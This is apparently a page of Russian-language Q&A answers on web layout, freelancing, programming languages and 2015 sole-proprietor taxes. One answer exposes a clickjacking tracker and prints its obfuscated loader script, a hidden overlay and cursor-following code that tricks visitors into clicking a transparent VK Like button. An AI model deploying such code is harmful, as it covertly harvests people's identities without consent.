Задать вопрос
  • Бесплатный проект для портфолио превратился в бесконечный. Как быть?

    POS_troi
    @POS_troi
    СадоМазо Админ, флудер, троль.
    Вариант 1 - послать и забыть.
    Вариант 2 - переводить из бесплатного в платный.

    Базовый функционал есть? Есть
    Клиент уже доволен? Доволен
    Пора платить деньгу, а так он почувствовал халяву и не слезет с вас.
    Ответ написан
    6 комментариев
  • Какие методы верстки при работе с SVG-графикой?

    @kravchenko-me
    Дополню про svg спрайт, спрайт можно не вставлять в разметку, а положить в папку img/sprite.svg (для поддержки во всех ie и старых браузеров понадобится https://github.com/jonathantneal/svg4everybody) тогда файл будет кешироваться ,в разметке иконка будет вызываться
    <svg>
        <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="img/sprite.svg#icon"></use>
    </svg>


    Помимо спрайтов svg вставляется инлайн в код разметки, можно стилизовать, как весь svg, так и отдельные и сгруппированные его части - path
    На свг часто делают декоративные переходы между блоками (треугольные косые, пример - tympanus.net/codrops/2013/10/03/a-collection-of-se... )
    Svg удобен тем что он идеально подходит для адаптивных сайтов, т.к. это векторный формат

    В двух словах не рассказать всего - лучше почитать вот эти подборки по теме svg:
    https://css-tricks.com/mega-list-svg-information/
    https://sarasoueidan.com/tags/svg/
    Ответ написан
    4 комментария
  • Какие методы верстки при работе с SVG-графикой?

    AMar4enko
    @AMar4enko
    Самый толковый и наиболее широко поддерживающийся способ это svg-спрайты через xlink:href (поищите статью на хабре).
    Смысл в том, что вы берете 100 мелких svg файлов и заталкиваете в один большой, помечая отдельные фрагменты идентификаторами.
    Этот файл загружаете одним XHR-запросом и вставляете в DOM, после чего можете делать
    <svg>
        <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my-cool-icon"></use>
    </svg>

    У такого способа есть приятный плюс - спрайты можно перекрашивать через css. Извернувшись можно даже красить в два разных цвета (типа один элемент в красный, другой в синий), что невозможно с иконочными шрифтами.
    Используя css в качестве background-image такое не прокатит
    Ответ написан
    1 комментарий
  • Какими способами/приемами вы пользовались чтобы получить свой первый заказ на фриланс бирже?

    sHinE
    @sHinE
    веб-разработчик, php/js/mysql и сопутствующее
    Вряд ли это универсальный совет, но встретил задачку, в которой была часть ТЗ - сделал пример по ТЗ и отправил вместе с заявкой. Пример небольшой - на час работы, но, видимо, он помог и получить задачку.
    Ответ написан
    Комментировать
  • Какими способами/приемами вы пользовались чтобы получить свой первый заказ на фриланс бирже?

    neatsoft
    @neatsoft
    Life is too short for bad software
    Дикая конкуренция на биржах - миф, многие проекты так и остаются без исполнителя. На прошлой неделе срочно нужен был фронтендер на небольшую задачу с нормальным бюджетом (5 дней - $1000) и перспективой работы на постоянных проектах - найти фрилансера так и не удалось. Заказчик из Европы, адекватный, платежеспособный. Из 30 заявок не оказалось ни одного вменяемого предложения - одни индусы (которые по опыту заказчика на таких проектах лажают в 100% случаев).

    Вещи, на которые необходимо обращать внимание на начальном этапе:
    1. не стоит пристально изучать все описания проектов - установите собственные критерии, и выбирайте только те что нравятся;
    2. описание понравившегося проекта нужно читать внимательно, а в заявке излагать свое понимание задачи (пересказ) и план ее решения;
    3. ставьте реальные сроки захода во фриланс - от 3-х до 6-ти месяцев (такой промежуток времени требуется чтобы детально во всем разобраться и наработать рейтинг);
    4. обещайте меньше, делайте больше;
    5. и самый главный совет - начните прямо сейчас! не нужно бросаться учить английский язык или осваивать модные технологии - все что нужно само придет в процессе работы. Большинству заказчиков совершенно налевать сколько вы делаете ошибок в словах, владеете ли граматикой, и применяете ли паттерны проектирования. Главное - умение эффективно решать поставленные задачи - быстро, и без чрезмерного усложнения.

    ps. Список проектов доступный на бирже - лишь вершина айсберга, там достаточно сложно оценить объем повторных заказов и длительных контрактов. Если первые пол-года потратить с умом, впоследствии расходовать время на поиски проектов больше не придется - будет очередь из заявок на выполнение заказов.

    pps. Ищу опытного фронтендера для совместной работы над интересными проектами. Сам занимаюсь бэкэндом, базами данных, линуксом, архитектурой.
    Ответ написан
    9 комментариев
  • Фриланс в России без подписок?

    Не смотрите на этот тренд негативно. Тот же fl.ru обязательной оплатой отрезал значительную часть школьников от проектов, если раньше грубо говоря было 50 человек, готовых сверстать страницу за 1500 рублей, то теперь таких умников ну может человек 5 от силы будет. Постепенно и заказчики отучатся от низкой цены, правда на это могут уйти годы.
    Ответ написан
    5 комментариев
  • Чем отличаются языки программирования PHP, PYTHON, RUBY?

    1. Аналогию с самими языками проводить не стоит. Аналогию стоит провести для платформ.
    Платформы вроде .net и java, которые разрабатывались для энтерпрайза, разумеется лучше для него подходят. И не важно даже, десктопное у вас приложение или веб-сервис. Важно, что в платформе есть поддержка нужных стандартов и технологий с гарантией качества от производителя.
    С другой стороны, многие компоненты таких платформ это closed-source. Поэтому, если вы не банк, а стартап, то для веб-сервиса выбирайте
    Ruby или Python.
    Социальную сеть можно сделать много на чем, но я бы делал на рельсах или джанге. А вот функционал сбербанк-онлайн я бы делал на ASP.NET MVC (т.е. на C#) или на джаве (на спринге например). Однако, тот же близзовский battle.net написан на спринге (сервер когда-то случайно отдал мне stack-trace после ошибки).

    Хотя, имхо, некоторые ключевые элементы дизайна языка все-таки влияют на возможность его применения в крупных проектах. Например, я считаю, что писать крупные проекты на языке со статической типизацией намного проще. Однако это вопрос очень холиварный.

    2. Нет, не будет. Не должно быть, если точнее. Для пользователя язык общения с сервисом - HTTP. Если в современном веб-фреймворке нельзя нормально абстрагироваться от используемой технологии, это плохой фреймворк.

    3. На PHP много чего нельзя сделать. Вернее, КАК БЫ можно все, но нормально можно только веб. Именно поэтому для меня он не язык, а какой-то шаблонизатор - слишком у него дурная история и связь с веб (что нехорошо для языка общего назначения). Конечно, современные веб-фреймворки его очень хорошо причесывают, что даже можно работать с ним, но мы же о языках говорим..

    4. Для веб-проектов между Ruby, Python и PHP человек бы выбирал исходя из своих умений. У каждого языка своя экосистема (библиотеки, пакетные менеджеры, серверы приложений/плагины для веб-сервера) и довольно непросто знать все сразу. Именно поэтому все расходятся по своим лагерям и просто работают. Первичный выбор языка часто определяет его популярность. Лет 5 назад Руби всех рвал за счет Рельсов, сегодня Питон и PHP подтянулись в плане экосистемы, поэтому ситуация уже другая.
    Если человек таки сумел познакомиться с разными языками, он выберет тот, в котором ему проще мыслить. Модель ООП, статическая/динамическая типизация - все это определяет ощущения КОНКРЕТНОГО человека от КОНКРЕТНОГО языка.

    5. PHP учится быстрее всех, но если вы не знаете других нормальных языков, лучше его не учите - испортитесь как программист. Python и Ruby учатся примерно одинаково. Изучение C++ - совсем другая история, я бы не ставил его в один ряд с Питоном - этот язык несколько другого уровня и требует других (более глубоких) знаний о вычислительной технике (т.е. он 100% учится дольше, чем Python).
    Ответ написан
    22 комментария
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Какой есть хороший валидатор форм для php?

    miraage
    @miraage
    Старый прогер
    Хватит писать велосипеды. Раньше мне нередко приходила мысль, мол "да че тут фреймворк тащить, приложение же простейшее". Потом появляются сессии, связи в базе, необходимость миграции.. И думаешь "в пекло всё это, возьму-ка я фреймворк".

    Laravel/Symfony - Ваши друзья.)
    Ответ написан
    1 комментарий
  • Как сверстать меню?

    Mirkom63
    @Mirkom63
    Я программист
    Скорее всего формироваться меню будет из массива. Узнаете порядковый номер элемента и если он делится на определенное число без остатка, то закрываете столбец и создаете новый.
    Примерно это выглядит так.
    <? $i=1 ?>
    <ul>
    <? foreach ($arMenu as $menu){ ?>
          <li><?=$menu['name']?></li>
          <? 
          if ($i%5==0){
           ?></ul><ul><?
          }
          ?>
    <? }?>
    </ul>


    каждые 5 пунктов ul будет закрываться и открываться новый.
    Ответ написан
    Комментировать
  • Как быстро верстать (нужен совет как быть дальше)?

    Препроцессоры на полную мощь (попробуйте jade для html), gulp, библиотека снипетов, опыт, опыт и ещё раз опыт.

    Так же важно: мощный компьютер, хорошие мониторы в достаточном количестве удобное рабочее место и позволяющая состредоточиться атмофера.

    Ну и самое главное:
    846381d51bb74da8b80e2558501ceb5e.png

    Позиционируйте себя, находите своего клиента.
    Быстро хотят все, но есть и те кто понимает, что лучше подождать немного дольше и получить готовый, кроссбраузерный, качественный продукт. Чем кривую поделку, которую потом в 2 раза дольше править.
    Ответ написан
    3 комментария
  • Верстать без фреймвороков это значит быть не професионалом?

    delphinpro
    @delphinpro Куратор тега CSS
    frontend developer
    Быть профессионалом - значит знать и правильно применять необходимые инструменты для наиболее эффективного решения задачи. А также НЕ применять, если в этом нет необходимости.
    Ответ написан
    4 комментария
  • Верстать без фреймвороков это значит быть не професионалом?

    Serj-One
    @Serj-One
    i'm sexy and i know it
    Новички поступают как раз наоборот, т.е. лепят тот же бутстрап всюду, независимо от того, нужен ли он там на самом деле.
    Дело в том, что css фреймворки - скорей инструмент прототипирования, нежели основа проекта.
    Их применение оправдано в проекте без дизайна, какой-то технической вёрстке, админке, и т.д. Но в большинстве проектов с уникальным дизайном они попросту неуместны.
    Верстай с нуля, и не парься. Это будет только плюсом, наберёшься опыта.
    Ответ написан
    2 комментария
  • Решил заниматься созданием сайтов на заказ. Какие документы должны быть? Налоги и т.п?

    dimap101
    @dimap101
    ИП, разработка АИС, микроконтроллеры
    В принципе с регистрацией тут уже все рассказали - все верно. Остановлюсь на важном моменте - какие, когда и как платить налоги и взносы.

    Налоги и взносы

    Если вы используете УСН (упрощенная система налогообложения) 6% с доходов (т.е. вы платите налог в размере 6% от любых сумм поступивших на ваш расчетный счет, независимо от ваших расходов) и не имеете работников, кроме себя то вы платите:

    - фиксированные взносы в Пенсионный фонд (ПФ) (по состоянию на 2015 год) - 18610 руб 80 коп в год. ВАЖНО: вы их платите независимо от того, ведете деятельность или нет, если зарегистрирован как ИП - плати. Платить лучше поквартально, но можно и за год. Почему лучше квартально ? Потому что, вы на эту сумму имеете право уменьшить единый налог по УСН. Соответственно, если вы дождетесь конца года - не факт (все зависит от доходов за этот период), что сумма налога по УСН за IV квартал будет больше этой суммы, которую вы должны заплатить и уменьшать будет нечего, а в ПФ вы все равно обязаны заплатить. Поэтому возьмите за правило - платите поквартально.

    - 1% взнос в Пенсионный фонд с суммы доходов выше 300000 руб. Если доход пока ниже - платить не надо. Опять же, на сумму данного взноса можно уменьшить налог по УСН. Ели вдруг у вас сумма финального расчета по налогу УСН меньше, чем суммы к уменьшению - не переживайте, на остаток суммы 1% взноса вы можете уменьшить сумму налога по УСН за I квартал следующего года. Это касается только 1% взноса. Остальные уменьшения - только за тот же отчетный период.

    - взносы в Федеральный фонд медицинского страхования (ФФОМС, взносы в ТФОМС отменили).
    Сумма фиксированная - на 2015 год годовой платеж составляет 3650 руб 58 копеек. Можно платить за год, но по опыту - платите поквартально, опять же потому, что на эту сумму можно уменьшить налог УСН. Опять же, платите независимо от того, ведете ли вы деятельность.

    На счет уменьшения налога по УСН на сумму уплаченных (а не расчетных !!!) - уменьшить налог по УСН можно только за тот же налоговый период, в котором произведена оплата. Если вы оплатили взнос в 2015 году, то зачесть в налоге УСН его можно только за 2015 год.

    - налог по УСН 6%. Налог платится по авансовой схеме, т.е. поквартально. Например, заработали за I квартал 200000 руб, то до 20 апреля вы должны заплатить 12000 руб за вычетом платежей в Пенсионный фонд (4652 руб 70 коп) и платежей в ФФОМС (912 руб. 65 коп), но вычет только с сумм оплаченных, если взносы не оплатили - уменьшать нельзя.

    Всегда сначала оплачивайте взносы в Пенсионный фонд, а потом налог УСН% !!!

    Отчеты
    - в Пенсионный фонд - отчетов нет, если вы не зарегистрированы как работодатель.
    - в Налоговую службу (ИФНС)
    - годовая декларация (в онлайн бухгалтериях типа Эльба и Мое дело заполняется практически автоматически, только проверяете суммы доходов, уплаченных взносов и налогов. Периодически у ИФНС возникает бзик и они просят помимо бумажной версии декларации подать еще XML-файл с декларацией (его онлайн сервисы тоже формируют) - обязанности подавать файл законом не установлено. Декларация подается до 1 апреля следующего за отчетным года.
    - заверение книги продаж - по этому вопросу есть двоякое мнение: вроде как обязанности заверять нет, но обязанность иметь заверенную книгу продаж есть. Особых санкций за ее отсутствие не предусмотрено.

    Все онлайн бухгалтерские сервисы будут навязывать вам электронную - нужна ли она для подачи одной декларации - решайте сами, я уже 6 лет ИП и не пользуюсь электронной отчетностью, заехать в ИФНС и вручить под подпись экземпляр декларации мне не сложно.
    Но это касается только ИП, для ООО электронная отчетность очень желательна - она значительно упрощает жизнь.
    Ответ написан
    4 комментария
  • Что значит "опыт верстки под битрикс, вордпресс и т. д."?

    Тут 2 варианта:

    1. Заказывают верстку, подразумевают создание шаблона/темы для CMS. По хитрости, по не знанию, по глупости - не важно. Важно не подписаться пилить это по цене только верстки.

    Верстка - это когда макет превращается в набор html/css/js файлов.

    Да, могут быть вариации. Может быть сразу под движок: Smarty, Twig, Jade, или все шаблоны в Handlebars, или сразу чтобы всё под Angular было. Но это всё частные случаи, требующие более высокой квалификации, или находящиеся уже где-то во front-end разработке.

    2. Просят учесть особенности CMS.

    Маленьких нюансов может быть много.

    Вот Битрикс, например, и его Эрмитаж (тыкнул в блок - тут же его отредактировал если по простому). Где-то лишняя обертка элемента, чтобы в режиме редактирования не разваливалось. Везде - z-index меньше 1000, чтобы Эрмитаж не перекрывало.

    Wordpress вообще генерирует огромное количество своих классов. Взять те же навигационные меню. Использовать их = наплевать на все эти ваши БЭМ и прочее.
    И т.д.

    Если я верстал и без проблем натягивал свои макеты на Wordpress - могу ли сказать что у меня есть опыт верстки под Wordpress?

    Могу.
    Так же как могу сказать что есть опыт верстки под Drupal (не знаю натягивали ли какие-то из моих работ на Drupal, но чё бы нет).

    Правда нет гарантии что человек, который будет натягивать мою верстку, не затупит например с
    .nav
        .nav__list
            .nav__item

    Когда ему движок выдаст меню в виде
    .menu
        ul
            li

    Но я не считаю это своей проблемой.
    Когда понадобилось, оказалось нет ничего сложного 1 раз потратить время и написать свой вывод меню в Wordpress, чтобы можно было любую верстку натянуть. Почему так не может сделать тот кто натягивает? Почему в ТЗ об этом не предупредили?

    Уменьшает ли "опыт верстки под CMS" время верстки?
    Если не были оговорены нюансы (те же меню WP) - то нет.
    Может увеличиться время натягивания верстки на движок, но это уже проблемы заказчика, который не озвучил требования заранее.

    Таким образом, хотя в идеале на движок должно быть возможным натянуть любую верстку, действительно некоторые имеют CMS особенности.
    Об этих особенностях следует договариваться заранее. Должно быть конкретное ТЗ на верстку.
    В остальном как правило речь об "опыте верстки под %CMS%" - просто болтовня.
    Ответ написан
    Комментировать
  • Решил заниматься созданием сайтов на заказ. Какие документы должны быть? Налоги и т.п?

    NeiTrinO2
    @NeiTrinO2
    Предприниматель
    У меня несколько ООО. Но свое ИП я открыл только недавно.
    Я был шокирован тем, насколько это быстро и просто)))

    Более того, сейчас уже не надо даже обращаться к сторонним компаниям, чтобы они помогли зарегистрировать юр. лицо. Это просто НЕ НУЖНО.

    Итак, вот какой инструментарий я бы порекомендовал:

    1. Регистрация ИП:
    - https://service.nalog.ru/gosreg/
    - www.e-kontur.ru/ip

    Порядок действий
    • Составляем форму самостоятельно (быстро, удобно, бесплатно)
    • Формируем квитанцию для оплаты гос. пошлины (по-моему 500 руб.)
    • Оплачиваем квитанцию
    • Приходим в налоговую и просто подаем документы на регистрацию
    • Через 5 рабочих дней забираем там же все документы
    • Подаем заявление на переход на УСН (если нужно)

    2. Открытие счёта в банке.
    Я рекомендую банк Точка (человеческий сервис, удобный интернет-банк, все круто и недорого).
    Здесь все очень просто. Оставляем заявку, присылаем сканы документов. Встречаемся с менеджером или по скайпу и все работает

    3. Бухгалтерия
    Сервис Эльба от Контура. 1 год для новых юр лиц - БЕСПЛАТНО. Удобно, внятно, бесплатно.

    Тонкости
    - Нужно подготовить документы? - Фреш Док
    - Не забывать про то, что ИП должны платить взносы в ПФР и ФСС за себя

    Будущее
    Как только бизнес вырастет - лучше зарегистрировать ООО

    Успехов!
    Ответ написан
    4 комментария